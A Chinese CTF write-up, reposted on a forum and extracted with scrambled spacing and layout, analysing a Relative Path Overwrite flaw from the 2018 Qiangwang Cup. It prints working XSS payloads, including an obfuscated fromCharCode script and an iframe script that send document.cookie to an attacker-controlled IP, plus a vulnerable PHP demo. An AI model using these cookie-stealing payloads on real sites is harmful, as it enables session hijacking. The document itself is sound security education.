搜索

[26776] 2019-03-07_RPO漏洞深入剖析与利用

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-19
2019-03-07_RPO漏洞深入剖析与利用 R P O 漏 洞 深 入 剖 析 与 利 用 w h o a m i   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 3 - 0 7 简 介 简 介 P R O 的 全 称 为 “ R e l a t i v e   P a t h   O v e r w r i t e ” ， 也 就 是 相 对 路 径 覆 盖 。 利 用 浏 览 器 和 服 务 器 对 资 源 加 载 设 置 的 差 异 ， 通 过 某 些 方 法 和 技 巧 ， 在 相 对 路 径 处 ， 引 入 我 们 可 控 的 j s / c s s 文 件 ， 甚 至 引 入 非 j s / c s s 文 件 ， 并 按 照 j s / c s s 的 语 法 执 行 ， 从 而 实 现 攻 击 。 F u c k   t h e   “ S h a r e   y o u r   m i n d ” 这 是 1 8 - 0 3 - 2 4 强 网 杯 的 一 道 题 ， 也 是 从 这 里 开 始 接 触 R P O 这 个 漏 洞 ， 以 下 简 单 介 绍 一 下 这 道 题 的 做 法 :   首 先 就 是 一 个 登 录 界 面 简 单 测 试 后 可 以 发 现 并 没 有 S Q L 注 入 或 者 X S S 漏 洞 ， 之 后 注 册 一 个 账 号 ， 登 录 进 去 。 测 试 各 个 页 面 ， 还 是 没 有 发 现 S Q L 注 入   在 做 比 赛 的 小 伙 伴 可 能 会 对 以 下 这 个 页 面 很 熟 悉 ： 没 错 ， 就 是 这 个 “ 脸 上 ” 写 着 “ 这 里 有 F L A G ” 的 页 面 ， 而 且 如 果 在 R e p o r t s 框 里 输 入 ， 它 真 的 会 访 问 我 们 自 己 的 V P S ， 结 合 第 一 个 提 示 : 再 联 想 到 i 春 秋 的 一 篇 文 章   通 过 反 调 P h a n t o m J S   X S S   b o t   把 X S S 漏 洞 升 级 为 S S R F / L F R 惊 不 惊 喜 ？ 意 不 意 外 ？ 是 不 是 感 觉 从 此 拿 到 F L A G ， 出 任 C E O ， 迎 娶 白 富 美 ， 从 此 走 上 人 生 巅 峰 了 ？ 呵 ~ 想 ！ 多 ！ 了 ！ h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / < s c r i p t   s r c = h t t p : / / V P S I P   > < / s c r i p t >
不 知 道 为 什 么 ， V P S 上 的 j s 代 码 就 是 没 办 法 执 行 之 后 才 了 解 到 ， 真 正 的 漏 洞 点 在 这 里 ： 也 就 是 我 们 今 天 要 介 绍 的 主 角 ， R P O 导 致 的 X S S 漏 洞 了 … … p h p i n f o   u r l   模 式 模 式 在 看 漏 洞 流 程 之 前 ， 我 们 先 介 绍 一 个 知 识 点 ， 就 是 按 照 目 录 方 式 获 取 资 源 ， 以 及 p h p i n f o   U R L 模 式 。 难 道 有 一 个 目 录 交 i n d e x . p h p 吗 ？ 不 是 的 ， 它 使 用 了 u r l   r e w r i t e 的 p h p 开 发 框 架 ， 也 叫 P H P I N F O   U R L 模 式   等 价 于     在 这 道 题 里 ， 返 回 的 ， 就 是 我 们 输 入 的 文 章 内 容 ， 当 标 题 为 空 时 ， 只 返 回 内 容 的 纯 文 本 ， 不 包 含 h t m l 代 码 。 漏 洞 成 因 漏 洞 成 因 文 章 最 开 始 提 到 过 ， R P O 漏 洞 就 是 “ 相 对 路 径 覆 盖 ” ， 而 这 道 题 的 漏 洞 产 生 ， 也 是 因 为 相 对 路 径 h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 7 6 3 h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p ? m o d = v i e w & a r t i c l e = 7 6 3
我 们 来 分 析 一 下 上 面 导 致 漏 洞 的 p a y l o a d 对 于 p h p 而 言 ， 它 获 得 的 请 求 是 u r l 解 码 后 的 ， % 2 F 会 被 解 码 为 / ， a p a c h e 和 n g i n x 会 按 照 目 录 的 方 式 来 返 回 我 们 请 求 的 资 源 。 对 于 p a y l o a d ， 也 就 相 当 于 访 问 向 上 跳 了 三 层 ， 依 旧 返 回 i n d e x . p h p 页 面 的 内 容 但 是 ！ 服 务 端 和 客 户 端 之 间 产 生 了 沟 通 差 异 ， 浏 览 器 在 寻 找 j s 资 源 的 时 候 ， 并 没 有 对 % 2 f 进 行 解 码 ， 就 认 为   这 一 坨 是 一 段 数 据 ， 但 是 又 没 有 人 来 接 收 这 段 数 据 ， 相 当 于 报 废 。   就 好 比 输 入 u r l - ， 向 百 度 传 递 了 一 个 参 数 i d ， 但 它 后 端 没 有 接 收 的 代 码 ， 相 当 于 没 有 传 递 ， 返 回 的 资 源 仍 然 是 的 。 相 当 于 在 文 章 I D 为 3 6 9 6 7 的 文 章 页 面 传 了 一 个 叫 的 参 数 ， 没 有 人 接 收 ， 所 以 返 回 的 资 源 就 只 是 。 浏 览 器 错 误 理 解 u r l 后 ， 请 求 相 对 路 径 中 请 求 的 资 源 路 径 ， 就 变 成 了 当 我 们 向 服 务 器 提 交 这 个 请 求 的 时 候 ， 服 务 器 会 按 照 p h p i n f o 模 式 来 读 取 这 个 u r l ， 读 到 这 里 就 读 不 下 去 了 ， 识 别 不 了 ， 退 一 步 ， 把 前 面 能 识 别 的 内 容 返 回 回 来 ， 也 就 是 我 们 看 网 络 里 的 请 求 ， 也 可 以 看 到 浏 览 器 按 照 p h p i n f o 的 格 式 来 解 析 u r l 的 话 ， 只 会 访 问 到 能 识 别 的 地 方 这 里 要 注 意 ， x x x d i r 只 是 为 了 表 示 这 是 一 个 没 有 用 的 d i r ， 换 成 a a a d i r 效 果 也 是 一 样 的 ， 同 理 把 h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / . . / . . / . . / . . / i n d e x . p h p . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p h t t p s : / / w w w . b a i d u . c o m ? i d = 1 h t t p s : / / w w w . b a i d u . c o m h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p / s t a t i c / j s / j q u e r y . m i n . j s . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / . . % 2 f . . % 2 f . . % 2 f . . % 2 f i n d e x . p h p
当 做 d i r 也 是 一 样 的 。 的 页 面 内 容 ， 也 就 是 当 做 是 j s 文 件 的 内 容 ， 带 回 到 了 标 签 中 ， 也 就 因 此 ， 造 成 了 X S S 漏 洞 漏 洞 完 成 过 程   首 先 填 写 一 个 只 有 内 容 ， 没 有 标 题 的 I d e a s   如 果 标 题 不 为 空 那 请 求 的 结 果 将 含 有 H T M L 代 码 ， 如 果 这 个 时 候 再 把 返 回 的 数 据 当 做 是 J a v a S c r i p t 代 码 解 析 ， 就 会 发 生 异 常 。 h t t p : / / 3 9 . 1 0 7 . 3 3 . 9 6 : 2 0 0 0 0 / i n d e x . p h p / v i e w / a r t i c l e / 3 6 9 6 7 / a l e r t ( 1 ) < s c r i p t >
之 后 我 们 就 可 以 伪 造 请 求 ， 比 如   由 于 漏 洞 点 过 滤 了 引 号 ， 所 以 可 以 用 f r o m C h a r C o d e 进 行 绕 过 处 理   ( n e w   I m a g e ( ) ) . s r c   = S t r i n g . f r o m C h a r C o d e ( 1 0 4 , 1 1 6 , 1 1 6 , 1 1 2 , 5 8 , 4 7 , 4 7 , 5 3 , 5 2 , 4 6 , 5 0 , 5 1 , 5 3 , 4 6 , 5 0 , 5 1 , 5 2 , 4 6 , 5 4 , 5 6 , 5 8 , 5 0 , 5 1 , 5 1 , 4 7 ) + d o c u m e n t . c o o k i e ; 写 这 篇 文 章 的 时 候 ， 后 台 的 自 动 点 击 脚 本 貌 似 没 在 运 行 了 ， 只 能 我 自 己 触 发 一 下 x s s ， 弹 个 自 己 的 P H P S E S S I O N 回 来 。 比 赛 过 程 中 会 有 个 提 示 ， 让 你 去 打 二 级 目 录 然 后 使 用 i f r a m e 标 签 去 读 二 级 目 录 下 的 c o o k i e ( n e w   I m a g e ( ) ) . s r c   =   ' h t t p : / / V P S I P : P o r t ? ' + d o c u m e n t . c o o k i e / Q W B _ f l 4 g / Q W B /
V P S 处 就 可 以 监 听 到 返 回 的 f l a g ~ 总 结 总 结 用 畅 师 傅 说 的 一 句 话 总 结 R P O 的 核 心 原 理 ， “ R P O 漏 洞 ， 就 是 服 务 端 和 客 户 端 对 这 个 U R L 的 解 析 不 一 致 导 致 的 ” ， 其 实 仔 细 想 一 想 ， 任 何 漏 洞 不 都 是 这 个 道 理 嘛 ， 宽 字 节 ， 0 0 截 断 ， 都 是 利 用 不 同 功 能 板 块 之 间 解 析 规 则 的 差 异 ， 造 成 语 义 上 的 混 淆 ， 从 而 导 致 了 漏 洞 。 小 练 习 小 练 习 俗 话 说 的 好 “ T a l k   i s   c h e a p ,   s h o w   m e   t h e   C o d e ” ， 如 果 对 这 R P O 还 是 有 疑 惑 的 话 ， 可 以 用 以 下 的 代 码 片 段 自 己 动 手 测 试 一 下 。 测 试 代 码 扒 自 p 0 0 m j 师 傅 的 文 章 p h p 代 码 i f r a m e v a r   i f r a m e   =   d o c u m e n t . c r e a t e E l e m e n t ( S t r i n g . f r o m C h a r C o d e ( 1 0 5 , 1 0 2 , 1 1 4 , 9 7 , 1 0 9 , 1 0 1 ) ) ; i f r a m e . s r c   =   S t r i n g . f r o m C h a r C o d e ( 4 7 , 8 1 , 8 7 , 6 6 , 9 5 , 1 0 2 , 1 0 8 , 5 2 , 1 0 3 , 4 7 , 8 1 , 8 7 , 6 6 , 4 7 ) ; i f r a m e . i d   =   S t r i n g . f r o m C h a r C o d e ( 1 0 2 , 1 1 4 , 9 7 , 1 0 9 , 1 0 1 ) ; d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r a m e ) ; i f r a m e . o n l o a d   =   f u n c t i o n   ( ) {         v a r   c   =   d o c u m e n t . g e t E l e m e n t B y I d ( S t r i n g . f r o m C h a r C o d e ( 1 0 2 , 1 1 4 , 9 7 , 1 0 9 , 1 0 1 ) ) . c o n t e n t W i n d o w . d o c u m e n t . c o o k i e ; v a r   n 0 t   =   d o c u m e n t . c r e a t e E l e m e n t ( S t r i n g . f r o m C h a r C o d e ( 1 0 8 , 1 0 5 , 1 1 0 , 1 0 7 ) ) ; n 0 t . s e t A t t r i b u t e ( S t r i n g . f r o m C h a r C o d e ( 1 1 4 , 1 0 1 , 1 0 8 ) ,   S t r i n g . f r o m C h a r C o d e ( 1 1 2 , 1 1 4 , 1 0 1 , 1 0 2 , 1 0 1 , 1 1 6 , 9 9 , 1 0 4 ) ) ; n 0 t . s e t A t t r i b u t e ( S t r i n g . f r o m C h a r C o d e ( 1 0 4 , 1 1 4 , 1 0 1 , 1 0 2 ) ,   S t r i n g . f r o m C h a r C o d e ( 4 7 , 4 7 , 5 3 , 5 2 , 4 6 , 5 0 , 5 1 , 5 3 , 4 6 , 5 0 , 5 1 , 5 2 , 4 6 , 5 4 , 5 6 , 5 8 , 5 0 , 5 1 , 5 1 , 4 7 , 6 3 , 1 0 2 , 1 0 8 , 9 7 , 1 0 3 , 6 1 )   +   c ) ; d o c u m e n t . h e a d . a p p e n d C h i l d ( n 0 t ) ; } < ? p h p   $ p a t h = ' h t t p : / / l o c a l h o s t / h e l l o / ' ? > < a   c l a s s = " n a v b a r - b r a n d "   h r e f = " < ? p h p   e c h o   $ p a t h ? > u r l . p h p " > 三 国 杀 < / a > < l i   c l a s s = " a c t i v e "   i d = ' w e i ' > < a   h r e f = " < ? p h p   e c h o   $ p a t h ? > u r l . p h p / c o u n t r y / w e i " > 魏 < / a > < / l i > < l i   i d   = ' s h u ' > < a   h r e f = " < ? p h p   e c h o   $ p a t h ? > u r l . p h p / c o u n t r y / s h u " > 蜀 < / a > < / l i > < l i   c l a s s = " a c t i v e "   i d = ' w u ' > < a   h r e f = " < ? p h p   e c h o   $ p a t h ? > u r l . p h p / c o u n t r y / w u " > 吴 < / a > < / l i > < l i n k   r e l = " s t y l e s h e e t "   h r e f = " . / s t y l e . c s s "   s t y l e = " c s s "   / > < ? p h p $ a r r = i s s e t ( $ _ S E R V E R [ ' P A T H _ I N F O ' ] ) ? e x p l o d e ( ' / ' , t r i m ( $ _ S E R V E R [ ' P A T H _ I N F O ' ] , ' / ' ) ) : n u l l ; / / v a r _ d u m p ( $ a r r ) ; / / e c h o   $ a r r $ v a l u e = ' ' ; f o r ( $ _ = 0 ; $ _ < c o u n t ( $ a r r ) ; $ _ + = 2 ) {         $ v a l u e [ $ a r r [ $ _ ] ]   =   $ a r r [ $ _ + 1 ] ; }
s t y l e . c s s 文 件 在 绿 盟 的 这 篇 文 章 中 提 到 说 A p a c h e 无 法 解 析 这 种 U R L ， 会 返 回 4 0 4 。 其 实 是 默 认 配 置 的 问 题 。 在 G i t h u b 上 也 有 一 个 C T F 题 目 的 源 码 ， 利 用 R P O ， 进 行 X S S + C S R F 攻 击 。 h t t p s : / / g i t h u b . c o m / e b o d a / 3 4 c 3 c t f / t r e e / m a s t e r / u r l s t o r a g e 参 考 链 接 参 考 链 接 h t t p s : / / w w w . c n b l o g s . c o m / p 0 0 m j / p / 6 7 5 5 0 0 0 . h t m l   $ v a l u e [ ' c o u n t r y ' ] = i s s e t ( $ v a l u e [ ' c o u n t r y ' ] ) ? $ v a l u e [ ' c o u n t r y ' ] : n u l l ; s w i t c h   ( $ v a l u e [ ' c o u n t r y ' ] )   {         c a s e   ' w e i ' :                 ? >                 < h 1 > w e l c o m e   t o   魏 国 ! < / h 1 >                 < ? p h p                 b r e a k ;         c a s e   ' s h u ' :                 ? >                 < h 1 > w e l c o m e   t o   蜀 国 ! < / h 1 >                 < ? p h p                 b r e a k ;         c a s e   ' w u ' :                 ? >                 < h 1 > w e l c o m e   t o   吴 国 ! < / h 1 >                 < ? p h p                 b r e a k ;         d e f a u l t :                 ? >                 < h 1 > w e l c o m e ! < / h 1 >                 < ? p h p                 b r e a k ; } ? > h 1   { f o n t - s i z e : 1 8 0 p x ; l i n e - h e i g h t : 2 0 0 p x ; ; c o l o r : b l u e ; }
h t t p : / / w w w . q i n g p i n g s h a n . c o m / p c / a q / 2 4 0 5 9 7 . h t m l h t t p : / / b l o g . n s f o c u s . n e t / r p o - a t t a c k / 文 章 首 发 先 知 作 者 ： P h 0 r s e w w w . m s 0 8 0 6 7 . c o m ☺ 喜 欢 请 在 下 方 点 赞 吧 ！ 喜 欢 请 在 下 方 点 赞 吧 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理